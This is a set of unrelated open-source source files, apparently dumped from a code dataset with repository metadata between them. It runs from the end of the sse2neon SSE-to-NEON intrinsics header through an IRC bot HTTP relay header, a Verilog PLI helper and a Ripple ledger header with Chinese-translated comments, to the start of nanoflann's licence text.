// Selects and interleaves the lower two single-precision, floating-point values // from a and b. // // r0 := a0 // r1 := b0 // r2 := a1 // r3 := b1 // // https://msdn.microsoft.com/en-us/library/25st103b%28v=vs.90%29.aspx FORCE_INLINE __m128 _mm_unpacklo_ps(__m128 a, __m128 b) { #if defined(__aarch64__) return vreinterpretq_m128_f32(vzip1q_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); #else float32x2_t a1 = vget_low_f32(vreinterpretq_f32_m128(a)); float32x2_t b1 = vget_low_f32(vreinterpretq_f32_m128(b)); float32x2x2_t result = vzip_f32(a1, b1); return vreinterpretq_m128_f32(vcombine_f32(result.val[0], result.val[1])); #endif } // Selects and interleaves the upper two single-precision, floating-point values // from a and b. // // r0 := a2 // r1 := b2 // r2 := a3 // r3 := b3 // // https://msdn.microsoft.com/en-us/library/skccxx7d%28v=vs.90%29.aspx FORCE_INLINE __m128 _mm_unpackhi_ps(__m128 a, __m128 b) { #if defined(__aarch64__) return vreinterpretq_m128_f32(vzip2q_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); #else float32x2_t a1 = vget_high_f32(vreinterpretq_f32_m128(a)); float32x2_t b1 = vget_high_f32(vreinterpretq_f32_m128(b)); float32x2x2_t result = vzip_f32(a1, b1); return vreinterpretq_m128_f32(vcombine_f32(result.val[0], result.val[1])); #endif } // Interleaves the upper 8 signed or unsigned 8-bit integers in a with the upper // 8 signed or unsigned 8-bit integers in b. // // r0 := a8 // r1 := b8 // r2 := a9 // r3 := b9 // ... // r14 := a15 // r15 := b15 // // https://msdn.microsoft.com/en-us/library/t5h7783k(v=vs.100).aspx FORCE_INLINE __m128i _mm_unpackhi_epi8(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_s8(vzip2q_s8(vreinterpretq_s8_m128i(a), vreinterpretq_s8_m128i(b))); #else int8x8_t a1 = vreinterpret_s8_s16(vget_high_s16(vreinterpretq_s16_m128i(a))); int8x8_t b1 = vreinterpret_s8_s16(vget_high_s16(vreinterpretq_s16_m128i(b))); int8x8x2_t result = vzip_s8(a1, b1); return vreinterpretq_m128i_s8(vcombine_s8(result.val[0], result.val[1])); #endif } // Interleaves the upper 4 signed or unsigned 16-bit integers in a with the // upper 4 signed or unsigned 16-bit integers in b. // // r0 := a4 // r1 := b4 // r2 := a5 // r3 := b5 // r4 := a6 // r5 := b6 // r6 := a7 // r7 := b7 // // https://msdn.microsoft.com/en-us/library/03196cz7(v=vs.100).aspx FORCE_INLINE __m128i _mm_unpackhi_epi16(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_s16(vzip2q_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); #else int16x4_t a1 = vget_high_s16(vreinterpretq_s16_m128i(a)); int16x4_t b1 = vget_high_s16(vreinterpretq_s16_m128i(b)); int16x4x2_t result = vzip_s16(a1, b1); return vreinterpretq_m128i_s16(vcombine_s16(result.val[0], result.val[1])); #endif } // Interleaves the upper 2 signed or unsigned 32-bit integers in a with the // upper 2 signed or unsigned 32-bit integers in b. // https://msdn.microsoft.com/en-us/library/65sa7cbs(v=vs.100).aspx FORCE_INLINE __m128i _mm_unpackhi_epi32(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_s32(vzip2q_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); #else int32x2_t a1 = vget_high_s32(vreinterpretq_s32_m128i(a)); int32x2_t b1 = vget_high_s32(vreinterpretq_s32_m128i(b)); int32x2x2_t result = vzip_s32(a1, b1); return vreinterpretq_m128i_s32(vcombine_s32(result.val[0], result.val[1])); #endif } // Interleaves the upper signed or unsigned 64-bit integer in a with the // upper signed or unsigned 64-bit integer in b. // // r0 := a1 // r1 := b1 FORCE_INLINE __m128i _mm_unpackhi_epi64(__m128i a, __m128i b) { int64x1_t a_h = vget_high_s64(vreinterpretq_s64_m128i(a)); int64x1_t b_h = vget_high_s64(vreinterpretq_s64_m128i(b)); return vreinterpretq_m128i_s64(vcombine_s64(a_h, b_h)); } // shift to right // https://msdn.microsoft.com/en-us/library/bb514041(v=vs.120).aspx // http://blog.csdn.net/hemmingway/article/details/44828303 // Clang requires a macro here, as it is extremely picky about c being a literal. #define _mm_alignr_epi8(a, b, c) ((__m128i) vextq_s8((int8x16_t) (b), (int8x16_t) (a), (c))) // Extracts the selected signed or unsigned 8-bit integer from a and zero // extends. // FORCE_INLINE int _mm_extract_epi8(__m128i a, __constrange(0,16) int imm) #define _mm_extract_epi8(a, imm) \ vgetq_lane_u8(vreinterpretq_u8_m128i(a), (imm)) // Inserts the least significant 8 bits of b into the selected 8-bit integer // of a. // FORCE_INLINE __m128i _mm_insert_epi8(__m128i a, const int b, // __constrange(0,16) int imm) #define _mm_insert_epi8(a, b, imm) \ __extension__({ \ vreinterpretq_m128i_s8( \ vsetq_lane_s8((b), vreinterpretq_s8_m128i(a), (imm))); \ }) // Extracts the selected signed or unsigned 16-bit integer from a and zero // extends. // https://msdn.microsoft.com/en-us/library/6dceta0c(v=vs.100).aspx // FORCE_INLINE int _mm_extract_epi16(__m128i a, __constrange(0,8) int imm) #define _mm_extract_epi16(a, imm) \ vgetq_lane_u16(vreinterpretq_u16_m128i(a), (imm)) // Inserts the least significant 16 bits of b into the selected 16-bit integer // of a. // https://msdn.microsoft.com/en-us/library/kaze8hz1%28v=vs.100%29.aspx // FORCE_INLINE __m128i _mm_insert_epi16(__m128i a, const int b, // __constrange(0,8) int imm) #define _mm_insert_epi16(a, b, imm) \ __extension__({ \ vreinterpretq_m128i_s16( \ vsetq_lane_s16((b), vreinterpretq_s16_m128i(a), (imm))); \ }) // Extracts the selected signed or unsigned 32-bit integer from a and zero // extends. // FORCE_INLINE int _mm_extract_epi32(__m128i a, __constrange(0,4) int imm) #define _mm_extract_epi32(a, imm) \ vgetq_lane_s32(vreinterpretq_s32_m128i(a), (imm)) // Inserts the least significant 32 bits of b into the selected 32-bit integer // of a. // FORCE_INLINE __m128i _mm_insert_epi32(__m128i a, const int b, // __constrange(0,4) int imm) #define _mm_insert_epi32(a, b, imm) \ __extension__({ \ vreinterpretq_m128i_s32( \ vsetq_lane_s32((b), vreinterpretq_s32_m128i(a), (imm))); \ }) // Extracts the selected signed or unsigned 64-bit integer from a and zero // extends. // FORCE_INLINE __int64 _mm_extract_epi64(__m128i a, __constrange(0,2) int imm) #define _mm_extract_epi64(a, imm) \ vgetq_lane_s64(vreinterpretq_s64_m128i(a), (imm)) // Inserts the least significant 64 bits of b into the selected 64-bit integer // of a. // FORCE_INLINE __m128i _mm_insert_epi64(__m128i a, const __int64 b, // __constrange(0,2) int imm) #define _mm_insert_epi64(a, b, imm) \ __extension__({ \ vreinterpretq_m128i_s64( \ vsetq_lane_s64((b), vreinterpretq_s64_m128i(a), (imm))); \ }) // ****************************************** // Crypto Extensions // ****************************************** #if defined(__ARM_FEATURE_CRYPTO) // Wraps vmull_p64 FORCE_INLINE uint64x2_t _sse2neon_vmull_p64(uint64x1_t _a, uint64x1_t _b) { poly64_t a = vget_lane_p64(vreinterpret_p64_u64(_a), 0); poly64_t b = vget_lane_p64(vreinterpret_p64_u64(_b), 0); return vreinterpretq_u64_p128(vmull_p64(a, b)); } #else // ARMv7 polyfill // ARMv7/some A64 lacks vmull_p64, but it has vmull_p8. // // vmull_p8 calculates 8 8-bit->16-bit polynomial multiplies, but we need a // 64-bit->128-bit polynomial multiply. // // It needs some work and is somewhat slow, but it is still faster than all // known scalar methods. // // Algorithm adapted to C from https://www.workofard.com/2017/07/ghash-for-low-end-cores/, // which is adapted from "Fast Software Polynomial Multiplication on // ARM Processors Using the NEON Engine" by Danilo Camara, Conrado Gouvea, // Julio Lopez and Ricardo Dahab (https://hal.inria.fr/hal-01506572) static uint64x2_t _sse2neon_vmull_p64(uint64x1_t _a, uint64x1_t _b) { poly8x8_t a = vreinterpret_p8_u64(_a); poly8x8_t b = vreinterpret_p8_u64(_b); // Masks uint8x16_t k48_32 = vcombine_u8(vcreate_u8(0x0000ffffffffffff), vcreate_u8(0x00000000ffffffff)); uint8x16_t k16_00 = vcombine_u8(vcreate_u8(0x000000000000ffff), vcreate_u8(0x0000000000000000)); // Do the multiplies, rotating with vext to get all combinations uint8x16_t d = vreinterpretq_u8_p16(vmull_p8(a, b)); // D = A0 * B0 uint8x16_t e = vreinterpretq_u8_p16(vmull_p8(a, vext_p8(b, b, 1))); // E = A0 * B1 uint8x16_t f = vreinterpretq_u8_p16(vmull_p8(vext_p8(a, a, 1), b)); // F = A1 * B0 uint8x16_t g = vreinterpretq_u8_p16(vmull_p8(a, vext_p8(b, b, 2))); // G = A0 * B2 uint8x16_t h = vreinterpretq_u8_p16(vmull_p8(vext_p8(a, a, 2), b)); // H = A2 * B0 uint8x16_t i = vreinterpretq_u8_p16(vmull_p8(a, vext_p8(b, b, 3))); // I = A0 * B3 uint8x16_t j = vreinterpretq_u8_p16(vmull_p8(vext_p8(a, a, 3), b)); // J = A3 * B0 uint8x16_t k = vreinterpretq_u8_p16(vmull_p8(a, vext_p8(b, b, 4))); // L = A0 * B4 // Add cross products uint8x16_t l = veorq_u8(e, f); // L = E + F uint8x16_t m = veorq_u8(g, h); // M = G + H uint8x16_t n = veorq_u8(i, j); // N = I + J // Interleave. Using vzip1 and vzip2 prevents Clang from emitting TBL instructions. #if defined(__aarch64__) uint8x16_t lm_p0 = vreinterpretq_u8_u64(vzip1q_u64(vreinterpretq_u64_u8(l), vreinterpretq_u64_u8(m))); uint8x16_t lm_p1 = vreinterpretq_u8_u64(vzip2q_u64(vreinterpretq_u64_u8(l), vreinterpretq_u64_u8(m))); uint8x16_t nk_p0 = vreinterpretq_u8_u64(vzip1q_u64(vreinterpretq_u64_u8(n), vreinterpretq_u64_u8(k))); uint8x16_t nk_p1 = vreinterpretq_u8_u64(vzip2q_u64(vreinterpretq_u64_u8(n), vreinterpretq_u64_u8(k))); #else uint8x16_t lm_p0 = vcombine_u8(vget_low_u8(l), vget_low_u8(m)); uint8x16_t lm_p1 = vcombine_u8(vget_high_u8(l), vget_high_u8(m)); uint8x16_t nk_p0 = vcombine_u8(vget_low_u8(n), vget_low_u8(k)); uint8x16_t nk_p1 = vcombine_u8(vget_high_u8(n), vget_high_u8(k)); #endif // t0 = (L) (P0 + P1) << 8 // t1 = (M) (P2 + P3) << 16 uint8x16_t t0t1_tmp = veorq_u8(lm_p0, lm_p1); uint8x16_t t0t1_h = vandq_u8(lm_p1, k48_32); uint8x16_t t0t1_l = veorq_u8(t0t1_tmp, t0t1_h); // t2 = (N) (P4 + P5) << 24 // t3 = (K) (P6 + P7) << 32 uint8x16_t t2t3_tmp = veorq_u8(nk_p0, nk_p1); uint8x16_t t2t3_h = vandq_u8(nk_p1, k16_00); uint8x16_t t2t3_l = veorq_u8(t2t3_tmp, t2t3_h); // De-interleave #if defined(__aarch64__) uint8x16_t t0 = vreinterpretq_u8_u64(vuzp1q_u64(vreinterpretq_u64_u8(t0t1_l), vreinterpretq_u64_u8(t0t1_h))); uint8x16_t t1 = vreinterpretq_u8_u64(vuzp2q_u64(vreinterpretq_u64_u8(t0t1_l), vreinterpretq_u64_u8(t0t1_h))); uint8x16_t t2 = vreinterpretq_u8_u64(vuzp1q_u64(vreinterpretq_u64_u8(t2t3_l), vreinterpretq_u64_u8(t2t3_h))); uint8x16_t t3 = vreinterpretq_u8_u64(vuzp2q_u64(vreinterpretq_u64_u8(t2t3_l), vreinterpretq_u64_u8(t2t3_h))); #else uint8x16_t t1 = vcombine_u8(vget_high_u8(t0t1_l), vget_high_u8(t0t1_h)); uint8x16_t t0 = vcombine_u8(vget_low_u8(t0t1_l), vget_low_u8(t0t1_h)); uint8x16_t t3 = vcombine_u8(vget_high_u8(t2t3_l), vget_high_u8(t2t3_h)); uint8x16_t t2 = vcombine_u8(vget_low_u8(t2t3_l), vget_low_u8(t2t3_h)); #endif // Shift the cross products uint8x16_t t0_shift = vextq_u8(t0, t0, 15); // t0 << 8 uint8x16_t t1_shift = vextq_u8(t1, t1, 14); // t1 << 16 uint8x16_t t2_shift = vextq_u8(t2, t2, 13); // t2 << 24 uint8x16_t t3_shift = vextq_u8(t3, t3, 12); // t3 << 32 // Accumulate the products uint8x16_t cross1 = veorq_u8(t0_shift, t1_shift); uint8x16_t cross2 = veorq_u8(t2_shift, t3_shift); uint8x16_t mix = veorq_u8(d, cross1); uint8x16_t r = veorq_u8(mix, cross2); return vreinterpretq_u64_u8(r); } #endif // ARMv7 polyfill FORCE_INLINE __m128i _mm_clmulepi64_si128(__m128i _a, __m128i _b, const int imm) { uint64x2_t a = vreinterpretq_u64_m128i(_a); uint64x2_t b = vreinterpretq_u64_m128i(_b); switch (imm & 0x11) { case 0x00: return vreinterpretq_m128i_u64(_sse2neon_vmull_p64(vget_low_u64(a), vget_low_u64(b))); case 0x01: return vreinterpretq_m128i_u64(_sse2neon_vmull_p64(vget_high_u64(a), vget_low_u64(b))); case 0x10: return vreinterpretq_m128i_u64(_sse2neon_vmull_p64(vget_low_u64(a), vget_high_u64(b))); case 0x11: return vreinterpretq_m128i_u64(_sse2neon_vmull_p64(vget_high_u64(a), vget_high_u64(b))); default: abort(); } } #if !defined(__ARM_FEATURE_CRYPTO) && defined(__aarch64__) // In the absence of crypto extensions, implement aesenc using regular neon // intrinsics instead. See: // https://www.workofard.com/2017/01/accelerated-aes-for-the-arm64-linux-kernel/ // https://www.workofard.com/2017/07/ghash-for-low-end-cores/ and // https://github.com/ColinIanKing/linux-next-mirror/blob/b5f466091e130caaf0735976648f72bd5e09aa84/crypto/aegis128-neon-inner.c#L52 // for more information Reproduced with permission of the author. FORCE_INLINE __m128i _mm_aesenc_si128(__m128i EncBlock, __m128i RoundKey) { static const uint8_t crypto_aes_sbox[256] = { 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16}; static const uint8_t shift_rows[] = {0x0, 0x5, 0xa, 0xf, 0x4, 0x9, 0xe, 0x3, 0x8, 0xd, 0x2, 0x7, 0xc, 0x1, 0x6, 0xb}; static const uint8_t ror32by8[] = {0x1, 0x2, 0x3, 0x0, 0x5, 0x6, 0x7, 0x4, 0x9, 0xa, 0xb, 0x8, 0xd, 0xe, 0xf, 0xc}; uint8x16_t v; uint8x16_t w = vreinterpretq_u8_m128i(EncBlock); // shift rows w = vqtbl1q_u8(w, vld1q_u8(shift_rows)); // sub bytes v = vqtbl4q_u8(vld1q_u8_x4(crypto_aes_sbox), w); v = vqtbx4q_u8(v, vld1q_u8_x4(crypto_aes_sbox + 0x40), w - 0x40); v = vqtbx4q_u8(v, vld1q_u8_x4(crypto_aes_sbox + 0x80), w - 0x80); v = vqtbx4q_u8(v, vld1q_u8_x4(crypto_aes_sbox + 0xc0), w - 0xc0); // mix columns w = (v << 1) ^ (uint8x16_t)(((int8x16_t) v >> 7) & 0x1b); w ^= (uint8x16_t) vrev32q_u16((uint16x8_t) v); w ^= vqtbl1q_u8(v ^ w, vld1q_u8(ror32by8)); // add round key return vreinterpretq_m128i_u8(w) ^ RoundKey; } #elif defined(__ARM_FEATURE_CRYPTO) // Implements equivalent of 'aesenc' by combining AESE (with an empty key) and // AESMC and then manually applying the real key as an xor operation This // unfortunately means an additional xor op; the compiler should be able to // optimise this away for repeated calls however See // https://blog.michaelbrase.com/2018/05/08/emulating-x86-aes-intrinsics-on-armv8-a // for more details. inline __m128i _mm_aesenc_si128(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vaesmcq_u8(vaeseq_u8(vreinterpretq_u8_m128i(a), vdupq_n_u8(0))) ^ vreinterpretq_u8_m128i(b)); } #endif // ****************************************** // Streaming Extensions // ****************************************** // Guarantees that every preceding store is globally visible before any // subsequent store. // https://msdn.microsoft.com/en-us/library/5h2w73d1%28v=vs.90%29.aspx FORCE_INLINE void _mm_sfence(void) { __sync_synchronize(); } // Stores the data in a to the address p without polluting the caches. If the // cache line containing address p is already in the cache, the cache will be // updated.Address p must be 16 - byte aligned. // https://msdn.microsoft.com/en-us/library/ba08y07y%28v=vs.90%29.aspx FORCE_INLINE void _mm_stream_si128(__m128i *p, __m128i a) { vst1q_s64((int64_t *) p, vreinterpretq_s64_m128i(a)); } // Cache line containing p is flushed and invalidated from all caches in the // coherency domain. : // https://msdn.microsoft.com/en-us/library/ba08y07y(v=vs.100).aspx FORCE_INLINE void _mm_clflush(void const *p) { (void)p; // no corollary for Neon? } // Allocate aligned blocks of memory. // https://software.intel.com/en-us/ // cpp-compiler-developer-guide-and-reference-allocating-and-freeing-aligned-memory-blocks FORCE_INLINE void *_mm_malloc(size_t size, size_t align) { void *ptr; if (align == 1) return malloc(size); if (align == 2 || (sizeof(void *) == 8 && align == 4)) align = sizeof(void *); if (!posix_memalign(&ptr, align, size)) return ptr; return NULL; } FORCE_INLINE void _mm_free(void *addr) { free(addr); } #if defined(__GNUC__) || defined(__clang__) #pragma pop_macro("ALIGN_STRUCT") #pragma pop_macro("FORCE_INLINE") #endif #endif
40.858036
132
0.609285
[ "object", "vector" ]
308cef63436e15c3d4e2a42bd1ed5e7b8e9162cd
1,080
h
C
libkeksbot/httprelay.h
cookiemon/Keksbot
d7f6adddf5d91e9e49a4a231e74b9a962d8af326
[ "BSD-2-Clause" ]
2
2015-01-17T00:18:29.000Z
2015-09-16T17:26:03.000Z
libkeksbot/httprelay.h
cookiemon/Keksbot
d7f6adddf5d91e9e49a4a231e74b9a962d8af326
[ "BSD-2-Clause" ]
11
2015-01-30T23:24:49.000Z
2017-12-10T15:48:23.000Z
libkeksbot/httprelay.h
cookiemon/Keksbot
d7f6adddf5d91e9e49a4a231e74b9a962d8af326
[ "BSD-2-Clause" ]
4
2016-02-29T17:45:51.000Z
2017-12-08T18:03:02.000Z
#ifndef HTTPRELAY_H #define HTTPRELAY_H #include "configs.h" #include "eventinterface.h" #include "libhandle.h" #include "selectinginterface.h" #include <curl/curl.h> #include <map> #include <set> #include <string> #include <vector> class HttpRelay : public EventHandler, public SelectingInterface { private: std::string cbUrl; std::string server; std::set<std::string> handledEvents; CURLM* multiHandle; LibCurlHandle libcurlhandle; public: HttpRelay(const Configs& cfg); ~HttpRelay(); void OnEvent(Server& srv, const std::string& event, const std::string& origin, const std::vector<std::string>& params); bool DoesHandle(Server& srv, const std::string& event, const std::string& origin, const std::vector<std::string>& params); EventType GetType() { return TYPE_MISC; } void AddSelectDescriptors(fd_set& inSet, fd_set& outSet, fd_set& excSet, int& maxFD); void SelectDescriptors(fd_set& inSet, fd_set& outSet, fd_set& excSet); private: std::string GetUrlParamList(CURL* handle, const std::map<std::string, std::string>& params); }; #endif
22.5
71
0.732407
[ "vector" ]
309289c5d9319a4181ca54df6dbffef068afa99b
1,474
c
C
tool/SecVerilog-1.0/SecVerilog/libveriuser/a_fetch_param.c
gokulprasath7c/secure_i2c_using_ift
124384983ba70e8164b7217db70c43dfdf302d4b
[ "MIT" ]
1
2019-01-28T21:23:37.000Z
2019-01-28T21:23:37.000Z
tool/SecVerilog-1.0/SecVerilog/libveriuser/a_fetch_param.c
gokulprasath7c/secure_i2c_using_ift
124384983ba70e8164b7217db70c43dfdf302d4b
[ "MIT" ]
null
null
null
tool/SecVerilog-1.0/SecVerilog/libveriuser/a_fetch_param.c
gokulprasath7c/secure_i2c_using_ift
124384983ba70e8164b7217db70c43dfdf302d4b
[ "MIT" ]
null
null
null
/* * Copyright (c) 2003-2009 Stephen Williams (steve@icarus.com) * * This source code is free software; you can redistribute it * and/or modify it in source code form under the terms of the GNU * General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA */ #include <assert.h> #include <vpi_user.h> #include <acc_user.h> #include "priv.h" double acc_fetch_paramval(handle object) { s_vpi_value val; val.format = vpiObjTypeVal; vpi_get_value(object, &val); switch (val.format) { case vpiStringVal: if (pli_trace) { fprintf(pli_trace, "acc_fetch_paramval(%s) --> \"%s\"\n", vpi_get_str(vpiName, object), val.value.str); } return (double) (long)val.value.str; default: vpi_printf("XXXX: parameter %s has type %d\n", vpi_get_str(vpiName, object), (int)val.format); assert(0); return 0.0; } }
30.708333
79
0.670285
[ "object" ]
30a35c417eba2455efb70d7473babaeaa058e886
3,768
h
C
src/ripple/app/paths/RippleState.h
yinchengtsinghua/RippleCPPChinese
a32a38a374547bdc5eb0fddcd657f45048aaad6a
[ "BSL-1.0" ]
5
2019-01-23T04:36:03.000Z
2020-02-04T07:10:39.000Z
src/ripple/app/paths/RippleState.h
yinchengtsinghua/RippleCPPChinese
a32a38a374547bdc5eb0fddcd657f45048aaad6a
[ "BSL-1.0" ]
null
null
null
src/ripple/app/paths/RippleState.h
yinchengtsinghua/RippleCPPChinese
a32a38a374547bdc5eb0fddcd657f45048aaad6a
[ "BSL-1.0" ]
2
2019-05-14T07:26:59.000Z
2020-06-15T07:25:01.000Z
//此源码被清华学神尹成大魔王专业翻译分析并修改 //尹成QQ77025077 //尹成微信18510341407 //尹成所在QQ群721929980 //尹成邮箱 yinc13@mails.tsinghua.edu.cn //尹成毕业于清华大学,微软区块链领域全球最有价值专家 //https://mvp.microsoft.com/zh-cn/PublicProfile/4033620 //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— /* 此文件是Rippled的一部分:https://github.com/ripple/rippled 版权所有(c)2012,2013 Ripple Labs Inc. 使用、复制、修改和/或分发本软件的权限 特此授予免费或不收费的目的,前提是 版权声明和本许可声明出现在所有副本中。 本软件按“原样”提供,作者不作任何保证。 关于本软件,包括 适销性和适用性。在任何情况下,作者都不对 任何特殊、直接、间接或后果性损害或任何损害 因使用、数据或利润损失而导致的任何情况,无论是在 合同行为、疏忽或其他侵权行为 或与本软件的使用或性能有关。 **/ //============================================================== #ifndef RIPPLE_APP_PATHS_RIPPLESTATE_H_INCLUDED #define RIPPLE_APP_PATHS_RIPPLESTATE_H_INCLUDED #include <ripple/ledger/View.h> #include <ripple/protocol/Rate.h> #include <ripple/protocol/STAmount.h> #include <ripple/protocol/STLedgerEntry.h> #include <cstdint> #include <memory> //<内存> namespace ripple { /*为方便起见,将信任线SLE包裹起来。 信托关系的复杂之处在于 “低”账户和“高”账户。这包裹了 并从 行上的选定帐户。 **/ //vfalc todo重命名为trustline class RippleState { public: //vfalc为什么要共享? using pointer = std::shared_ptr <RippleState>; public: RippleState () = delete; virtual ~RippleState() = default; static RippleState::pointer makeItem( AccountID const& accountID, std::shared_ptr<SLE const> sle); //必须公开,以便共享 RippleState (std::shared_ptr<SLE const>&& sle, AccountID const& viewAccount); /*返回分类帐条目的状态映射键。*/ uint256 key() const { return sle_->key(); } //vfalc从每个函数名中去掉“get” AccountID const& getAccountID () const { return mViewLowest ? mLowID : mHighID; } AccountID const& getAccountIDPeer () const { return !mViewLowest ? mLowID : mHighID; } //是,提供了对对等的身份验证。 bool getAuth () const { return mFlags & (mViewLowest ? lsfLowAuth : lsfHighAuth); } bool getAuthPeer () const { return mFlags & (!mViewLowest ? lsfLowAuth : lsfHighAuth); } bool getNoRipple () const { return mFlags & (mViewLowest ? lsfLowNoRipple : lsfHighNoRipple); } bool getNoRipplePeer () const { return mFlags & (!mViewLowest ? lsfLowNoRipple : lsfHighNoRipple); } /*我们是否在我们的同伴身上设置了冻结标志?*/ bool getFreeze () const { return mFlags & (mViewLowest ? lsfLowFreeze : lsfHighFreeze); } /*同伴在我们身上设置了冻结标志吗?*/ bool getFreezePeer () const { return mFlags & (!mViewLowest ? lsfLowFreeze : lsfHighFreeze); } STAmount const& getBalance () const { return mBalance; } STAmount const& getLimit () const { return mViewLowest ? mLowLimit : mHighLimit; } STAmount const& getLimitPeer () const { return !mViewLowest ? mLowLimit : mHighLimit; } Rate const& getQualityIn () const { return mViewLowest ? lowQualityIn_ : highQualityIn_; } Rate const& getQualityOut () const { return mViewLowest ? lowQualityOut_ : highQualityOut_; } Json::Value getJson (int); private: std::shared_ptr<SLE const> sle_; bool mViewLowest; std::uint32_t mFlags; STAmount const& mLowLimit; STAmount const& mHighLimit; AccountID const& mLowID; AccountID const& mHighID; Rate lowQualityIn_; Rate lowQualityOut_; Rate highQualityIn_; Rate highQualityOut_; STAmount mBalance; }; std::vector <RippleState::pointer> getRippleStateItems (AccountID const& accountID, ReadView const& view); } //涟漪 #endif
21.288136
114
0.602442
[ "vector" ]
cf372e77a0ae330236ed03693b3500224d31e64a
47,490
h
C
include/nanoflann.h
flufy3d/LiveScan3D
8f0fa7307678572e31423dfc303ade5cff19434b
[ "MIT" ]
7
2020-01-19T17:33:02.000Z
2021-04-28T10:24:18.000Z
include/nanoflann.h
flufy3d/LiveScan3D
8f0fa7307678572e31423dfc303ade5cff19434b
[ "MIT" ]
1
2019-04-17T05:28:08.000Z
2019-04-17T05:28:08.000Z
include/nanoflann.h
flufy3d/LiveScan3D
8f0fa7307678572e31423dfc303ade5cff19434b
[ "MIT" ]
4
2017-08-31T08:31:04.000Z
2020-01-29T11:32:18.000Z
/*********************************************************************** * Software License Agreement (BSD License) * * Copyright 2008-2009 Marius Muja (mariusm@cs.ubc.ca). All rights reserved. * Copyright 2008-2009 David G. Lowe (lowe@cs.ubc.ca). All rights reserved. * Copyright 2011-2014 Jose Luis Blanco (joseluisblancoc@gmail.com). * All rights reserved. * * THE BSD LICENSE * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *************************************************************************/ /** \mainpage nanoflann C++ API documentation * nanoflann is a C++ header-only library for building KD-Trees, mostly * optimized for 2D or 3D point 